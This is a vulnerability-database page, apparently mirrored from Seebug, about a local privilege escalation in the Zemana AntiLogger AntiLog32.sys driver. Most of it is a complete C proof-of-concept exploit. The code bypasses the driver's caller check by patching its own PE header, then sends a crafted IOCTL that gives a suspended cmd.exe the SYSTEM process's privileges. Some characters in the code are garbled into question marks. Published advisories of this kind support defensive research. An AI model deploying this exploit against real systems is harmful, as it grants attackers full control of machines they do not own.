Lucene search
K

Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Zemana AntiLogger <= 1.5.2.755 Local Privilege Escalation Vulnerabilit

Code

                                                Zemana AntiLogger AntiLog32.sys &#60;= 1.5.2.755 Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS 
Zemana AntiLogger &#60;=1.9.2.2.206

DETAILS:
AntiLog32.sys create a device called \Device\AntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which  can elevate the privilege of a process to another process

EXPLOIT CODE:

#include &#34;stdafx.h&#34;
#include &#34;windows.h&#34;
#include &#34;winioctl.h&#34;
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)

typedef struct _IMPERSONATE_PROCESS{
	HANDLE ImpersonateProcess ; 
	HANDLE SystemProcess ; 
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;

int main(int argc, char* argv[])
{
	printf(&#34;Zemana AntiLogger &#60;=1.9.2.2.206 AntiLog32.sys &#60;= 1.5.2.755\n&#34;
		&#34;Local Privilege Escalation Vulnerability Proof-of-Concept\n&#34;
		&#34;2010-7-28\n&#34;
		&#34;By MJ0011 [email protected]\n\nPress Enter\n&#34;);
	getchar();
	
	//bypass some useless create check 

	PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
	PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr-&#62;e_lfanew);
	PVOID waddr = &pnthdr-&#62;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;
	
	ULONG oldp ; 

	VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
	pnthdr-&#62;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ; 
	VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);


	HANDLE hdev = CreateFile(&#34;\\\\.\\AntiLog32&#34; , 
		FILE_READ_ATTRIBUTES , 
		FILE_SHARE_READ , 
		0,
		OPEN_EXISTING , 
		0,0);

	if (hdev == INVALID_HANDLE_VALUE)
	{
		printf(&#34;cannot open device %u\n&#34; , GetLastError());
		getchar();
		return 0; 

	}

	STARTUPINFOA sia ; 
	memset(&sia , 0 , sizeof(sia));
	sia.cb = sizeof(sia);
	PROCESS_INFORMATION pi ; 
	memset(? , 0 , sizeof(pi));

	

	if (!CreateProcess(&#34;c:\\windows\\system32\\cmd.exe&#34; , 
		NULL , 
		NULL,
		NULL,
		FALSE , 
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&sia , 
		?))
	{
		printf(&#34;cannot run cmd.exe....%u\n&#34;, GetLastError());
		getchar();
		return 0 ; 
	}

	
	IMPERSONATE_PROCESS ip ; 
	ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ; 
	ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
	ULONG btr ; 

	if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
	{
		printf(&#34;cannot impersonate process %u\n&#34; , GetLastError());
		getchar();
		return 0 ; 
	}

	ResumeThread(pi.hThread);

	printf(&#34;OK\n&#34;);

	
	return 0;
}

================================




th_decoder
2010-07-28



                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
9